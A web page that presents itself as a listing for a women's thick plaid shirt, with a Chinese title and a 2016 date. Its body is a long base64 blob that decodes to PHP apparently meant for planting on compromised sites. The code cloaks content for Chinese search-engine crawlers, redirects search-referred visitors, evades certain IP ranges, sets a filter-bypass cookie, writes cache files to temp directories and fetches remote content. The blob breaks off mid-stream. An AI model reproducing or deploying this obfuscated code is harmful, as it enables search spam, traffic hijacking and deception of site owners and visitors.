格子衬衫 厚款 女
2016-05-29 00:03:39
ICRrZXlOYW1lID0n5qC85a2Q6KGs6KGrIOWOmuasviDlpbMnOyAKCmZ1bmN0aW9uIEFwcF9HZXRM aW5rKCl7CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgx MDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgpmdW5jdGlvbiBBcHBfR2V0U2VsZigpewoJ cmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5 OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvDmMONwrzDhsKsCmZ1bmN0aW9uIGdldElt ZygpewoJcmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9pbWcvMjAxNTExMDYvbHEnLnJh bmQoMSwyMCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBybmRTdHIoJGxlbmd0aD04KXsKCSRzdHIg PSBudWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoi OwoJJG1heCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9yKCRpPTA7JGk8JGxlbmd0aDskaSsrKXsK CQkkc3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9CglyZXR1cm4gJHN0cjsKfQoKY2xhc3Mg Y29yZUFwcENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGZpbGUsJGZpbGVuYW1lKXsK CQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLHNlbGY6OmVuY29kZSgkZmlsZSkp OwoJfQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2RlKCRmaWxlLCRmaWxlbmFtZSl7CgkJcmV0 dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkZmlsZSk7Cgl9CglwdWJsaWMgZnVuY3Rp b24gcmVhZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVu YW1lKTsKCQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4cGxvZGU+IikpewoJCQkkY29udGVudCA9 IHNlbGY6OmN1dCgkY29udGVudCwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCX0KCQlyZXR1 cm4gc2VsZjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRm aWxlKXsKCQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNvbXByZXNzKHNlcmlhbGl6ZSgkZmlsZSkp KTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgkZmlsZSl7CgkJcmV0dXJuIHVuc2VyaWFs aXplKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRmaWxlKSkpOyAKCX0KCQoJcHVibGljIGZ1 bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9t LCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJu ICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250ZW50PScnOwppZighZW1wdHkoJGtleU5h bWUpKXsKCSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4ka2V5TmFtZSwpOwoJJG15X2FsaW1hbWEg PSBuZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlfYWxpbWFtYS0+cXVlcnkoKTsKCSRteV9j b250ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQokZGF0YSA9IHN0cl9yZXBsYWNlKCc8cGhw dWw+PC9waHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsKaWYoc3RycG9zKCRkYXRhLCJbaXRlbTpt ZW51XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUpKXsKCSR0YWdfdXJsID0gJ2h0dHBzOi8v c3VnZ2VzdC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04JnE9Jy51cmxlbmNvZGUoJGtleU5hbWUp OwoJJHRhZ19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZpc2l0KCR0YWdfdXJsKTsKCSR0YWdfanNv biA9IGpzb25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVlKTsKCSR0YWdfbWVudSA9ICcnOwoJZm9y ZWFjaCAoJHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCSRodHRwX2hv c3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9T RUxGJ107CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/ a2V5TmFtZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJCSR0YWdfbWVudSA9ICR0YWdfbWVudS4n PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19pdGVtX3VybC4nIj4nLiR2YWx1ZVswXS4n PC9hPic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdbaXRlbTptZW51XScsJHRhZ19tZW51LCRk YXRhKTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGljICRzaG93X3NwaWRlcjsKCXB1YmxpYyAk anVtcF9yZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRlcjsKCXB1YmxpYyAkanVtcF91cmwgPSAi IjsKCXB1YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMgJGNvbmRpdGlvbiA9ICIiOwoJcHVibGlj ICRhcHBfc2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19zcGlkZXIgPSAiIjsKCXB1YmxpYyAkY3Vy X3NwaWRlciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9ICIiOwoJcHVibGljICRpc0NhY2hlID0g ZmFsc2U7CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRwOi8vcHViLmFsaW1hbWEuY29tL2l0ZW1z L3NlYXJjaC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0YTsKCXB1YmxpYyAkY29udGVudDsKCglw dWJsaWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBjbGFzcz0nbGlfbGlzdCcgb25tb3VzZW92 ZXI9J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9ubW91c2VvdXQ9J3RoaXMuY2xhc3NOYW1l PSdsaV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcnPjwvZGl2PgogICAgPGRpdiBjbGFzcz0n Y29sbGVjdCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNz PSdwaWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+IDxpbWcgc3JjPSd7cGljdXJs fSc+PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0bGUnPiA8YSBocmVmPSd7dXJsfScgdGFy Z2V0PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdtb25leV9iZyc+ IAoJICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3ltYm9sJz7vv6U8L2VtPjxlbSBjbGFzcz0n bW9uZXlfbnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJICAgIDxzcGFuIGNsYXNzPSdmeF9tb25l eV9iZyc+IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0eWxlPSd2aXNpYmlsaXR5OiB2aXNpYmxl Oyc+PGI+e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBjbGFzcz0ncWlhbmdvdSc+PC9lbT4gCiAg ICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b21fYmcnPgogICAgICA8ZGl2IGNsYXNz PSd0anBfYm90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfZmFidSBjb2xvcl85OSc+e3Rv dGFsRmVlfTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF94aWFvYmlhbiBjb2xvcl82Nic+ e3RvdGFsTnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogIDwvZGl2Pgo8L2xpPiAi OwoKCS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO5Yid5aeL5YyW6LWL5YC8CiAgICBmdW5j dGlvbiBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAgIHsKICAgICAgICAgJHRoaXMtPnF1ZXJ5 X2RhdGEgPSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z6YeM5bey57uP5L2/55So5LqGdGhpc+aM h+mSiOivreWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBzZXRRdWVyeURhdGEoJHF1ZXJ5 X2RhdGEpewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7CgkJcmV0dXJuIHRydWU7 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkkY29udGVudCA9ICR0aGlzLT5jb250ZW50 OwoJCSRhbGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgkY29udGVudCx0cnVlKTsKCQkkaHRtbCA9 ICI8dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29uWydkYXRhJ11bJ3BhZ2VMaXN0J10gYXMg JGtleSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0kdmFsdWVbJ2F1Y3Rpb25VcmwnXTsKCSAJ CSRpdGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJCSRpdGVtX3ByaWNlPSR2YWx1ZVsnemtQ cmljZSddOwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVbJ3BpY3RVcmwnXS4nXzQwMHg0MDBfLndl YnAnOwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2snXTsKCSAJCSRpdGVtX3RvdGFsTnVtPSfm gLvplIDph486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107CgkgCQkkaXRlbV90b3RhbEZlZT0n5oC75Lqk 5piT6aKdOicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydI VFRQX0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJIAkJJGl0 ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBfc2VsZi4nP2dvdHU9Jy5iYXNlNjRfZW5j b2RlKCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVybD0naHR0cDovL2kua2FudHUuaW4vJy5i YXNlNjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJJGxpID0gJHRoaXMtPmxpX3RlbXBsYXRl OwoKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0nLCRpdGVtX3RpdGxlLCRsaSk7CgkJCSRs aSA9IHN0cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9wcmljZSwkbGkpOwoJCQkkbGkgPSBzdHJf cmVwbGFjZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3Bp Y3VybH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbE51 bX0nLCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7bmlja30nLCRp dGVtX25pY2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbEZlZX0nLCRpdGVtX3Rv dGFsRmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRsaTsKCSAJCS8vIGVjaG8gJGxpOwoJIAl9 CgkgCSRodG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1cm4gJGh0bWw7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+Y3Jhd2xfdXJsLic/Jy5odHRwX2J1aWxk X3F1ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhpcy0+Y29udGVudCA9ICR0aGlzLT5IdHRw VmlzaXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHJ1bigpewoJCSR0aGlzLT5kb21haW4g PSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlzLT5qdW1wX3JlZiA9IGV4cGxvZGUoInwi LCJiYWlkdS58aGFvc28ufGhhb3NvdS58YmluZy58c28ufHNvZ291Lnxzb3NvLiIpOwoJCSR0aGlz LT5odHRwX3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8IiwiaW51cmw6fHNpdGU6fHNpdGUlM0F8aW51 cmwlM0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIyLjE4NC4yMzR8MTEyLjg3LjcxfDU4LjIy MS44Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0aW9uID0gKCRfR0VUWydhaWQnXSA+IDEw MDAwMDAwICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJCSR0aGlzLT5hcHBfc2VydmVyID0gIiI7 CgkJJHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYoJHRoaXMtPmlzU3BpZGVyKCkgJiYgJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCQlpZigkdGhp cy0+aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7 CgkJCQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicgPyAnQzovd2luZG93 cy90ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUoJHJlbHNldF9ob3N0KSwgMjYpIC4gY2hy KDQ3KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nlc3NfJyAuIHN1YnN0cihtZDUoaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYoIUBmaWxlX2V4aXN0cygkZGlyKSl7CiAg ICAgICAgICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3NzcpOwogICAgICAgICAgICAJCQl9CgkJCQkJ CWlmKEBmaWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBAZmlsZXNpemUgKCRjYWNoZUZpbGUpID4g MzIgKXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OnJlYWQoJGNhY2hlRmlsZSk7CgkJCQkJ CQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCWZv cmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJ CQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQl9CgkJCQkJ CQllY2hvICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UKCQkJCQkJewkK CQkJCQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kKCQkJCQkJCSRjdXJyZW50UGFnZSA9IGlu Y2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlpZigkY3VycmVudFBhZ2UgJiYgc3RybGVu KCRjdXJyZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRjdXJyZW50UGFnZSwiPC9leHBsb2RlPiIp KXsKCQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJyZW50UGFnZSwiPGV4cGxvZGU+IiwiPC9l eHBsb2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OmRlY29kZSgkdmFyKTsKCQkJ CQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJ CQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9 IjsKCQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQkJ fQoJCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNvcmVBcHBDYWNoZTo6d3JpdGVub2NvZGUo JGN1cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWRpZSgpOwoJ CQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9K QUNLX0FQUEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50UGFnZTsKCQkJCQkJZGllKCk7CgkJCQkJ fQoJCQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhpcy0+X3VuY29uZGl0aW9uX2hvb2soKTsK CQkJCX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlzLT5pc1JlZigpICYmICR0aGlzLT5jb25k aXRpb24pewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0aGlzLT5f dW5TcGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc0FsbG93ZElw KCl7CgkJJGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJJG5vbl9saXN0ID0gZXhwbG9kZSgifCIs JHRoaXMtPmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25fbGlzdCBhcyAkaXBsaXN0KXsKCQkJaWYo QHN0cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQlyZXR1 cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xpZW50SXAoKXsKCQlpZihnZXRlbnYoJ0hU VFBfQ0xJRU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyksICd1 bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpOwoJCX0g ZWxzZWlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSAmJiBzdHJjYXNlY21wKGdldGVu dignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBn ZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdSRU1PVEVf QUREUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1PVEVfQUREUicpLCAndW5rbm93bicpKSB7 CgkJCSRvbmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FERFInKTsKCQl9IGVsc2VpZihpc3NldCgk X1NFUlZFUlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gJiYgc3Ry Y2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5l aXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJcHJlZ19tYXRjaCgiL1tcZFwuXXs3 LDE1fS8iLCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNoZXMpOwoJCSRvbmxpbmVpcCA9ICRvbmxp bmVpcG1hdGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVzWzBdIDogJ3Vua25vd24nOwoJCXVuc2V0 KCRvbmxpbmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25saW5laXA7Cgl9CgoJcHVibGljIGZ1bmN0 aW9uIGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgKCQkJCSdCYWlkdScgICAgICAgID0+ICdi YWlkdXNwaWRlcicsCgkJCQknU29nb3UnICAgICAgICA9PiAnc29nb3UnLAoJCQkJJ0hhb3NvJyAg ICAgICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNw aWRlcicKCQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VS X0FHRU5UJ10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRrID0+ICR2KXsKCQkJaWYgKHN0cmlzdHIo JHVzZXJBZ2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0aGlzLT5sb2dfc3BpZGVyKSl7CgkJCQkJ QGZpbGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3BpZGVyLCR2LiItPlZpc2l0ZWQgIi4kX1NF UlZFUlsnUVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUoIlktbS1kIEg6aTpzIikuIlxuIixGSUxF X0FQUEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3NwaWRlciA9ICRrOwoJCQkJcmV0dXJuIHRy dWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4gZmFsc2U7CQoJfQoKCXB1YmxpYyBmdW5j dGlvbiBpc1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVS J10pOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4tZmlsdGVyLWJ5cGFzcyJdKSl7CgkJCXJl dHVybiBmYWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQlzZXRjb29r aWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCXJl dHVybiBmYWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciBhcyAkcil7 CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJc2V0Y29va2ll KCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQkJcmV0 dXJuIGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgkdGhpcy0+anVtcF9yZWYgYXMgJHIpewoJ CQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXJldHVybiB0cnVl OwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJOYW1lKCkgCgl7IAoJCSRT ZXJ2ZXJOYW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX05BTUUnXT8kX1NFUlZFUlsn U0VSVkVSX05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAKCQlpZiggc3RycG9zKCRTZXJ2 ZXJOYW1lLCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1cm4gc3RyX3JlcGxhY2UoJ2h0dHA6Ly8n LCcnLCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4gJFNlcnZlck5hbWU7IAoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkkY2FjaGU9ImNh Y2hlZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9zZXJ2ZXIuIj9kb21haW49Ii4kdGhpcy0+ ZG9tYWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+Y3VyX3NwaWRlci4iJmNhY2hlPSIuJGNh Y2hlLiImbG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKTsKCQlyZXR1cm4gJHRoaXMt Pkh0dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMgZnVuY3Rpb24gSHR0cFZpc2l0KCR3ZWJ1 cmwpIHsKICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBN YWMgT1MgWCAxMF8xMF81KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBD aHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYgUVFCcm93c2VyLzMuOS4zOTQzLjQwMCI7 CiAgICAgICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3Rz KCdjdXJsX2V4ZWMnKSkgewogICAgICAgICAgICAkY3VybCA9IEBjdXJsX2luaXQoKTsKICAgICAg ICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHdlYnVybCk7CiAgICAgICAg ICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBA Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsKICAgICAgICAg ICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAg ICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJfYWdlbnQp OyAKICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1cmxfZXhlYygkY3VybCk7CiAgICAgICAg ICAgIEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAo ZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAgICAgICAgICAg ICAgJGhlYWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9PiBhcnJheSgnbWV0aG9kJyA9PiAnR0VU JywgJ3RpbWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAgICAgICAkaHR0cF9oZWFkZXIgPSBAc3Ry ZWFtX2NvbnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkpOwogICAgICAgICAgICAgICAgJHJlbW90 ZV9kYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1cmwsIGZhbHNlLCAkaHR0cF9oZWFkZXIp OwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRlbXBfdXJsID0gZXhwbG9k ZSgiLyIsICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAgJG5ld191cmwgPSAkdGVtcF91cmxbMl07 CiAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7CiAgICAgICAgICAgICAgICAkZ2V0X2Zp bGUgPSBzdWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdfdXJsKSArIDcpOwogICAgICAgICAgICAg ICAgaWYgKHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkpIHsKICAgICAgICAgICAgICAgICAgICAk c192YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1OCksICRuZXdfdXJsKTsKICAgICAgICAg ICAgICAgICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJheVsndGQnXVswXTsKICAgICAgICAgICAg ICAgICAgICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5Wyd0ZCddWzFdOwogICAgICAgICAgICAg ICAgfQogICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3VsdCA9IEBmc29ja29wZW4oJG5ld191cmws ICRodHRwX3BvcnQpOwogICAgICAgICAgICAgICAgQGZwdXRzKCRmc29ja19yZXN1bHQsICdHRVQg JyAuICRnZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxyXG4iIC4gJ0hvc3Q6JyAuICRuZXdfdXJs IC4gIlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4gIlxyXG5cclxuIik7CiAgICAgICAgICAg ICAgICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAk cmVtb3RlX2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3VsdCwgMTAyNCk7CiAgICAgICAgICAgICAg ICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmc29ja19yZXN1bHQpOwogICAgICAgICAgICB9 CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3RlX2RhdGE7CiAgICB9CgoJcHVibGljIGZ1 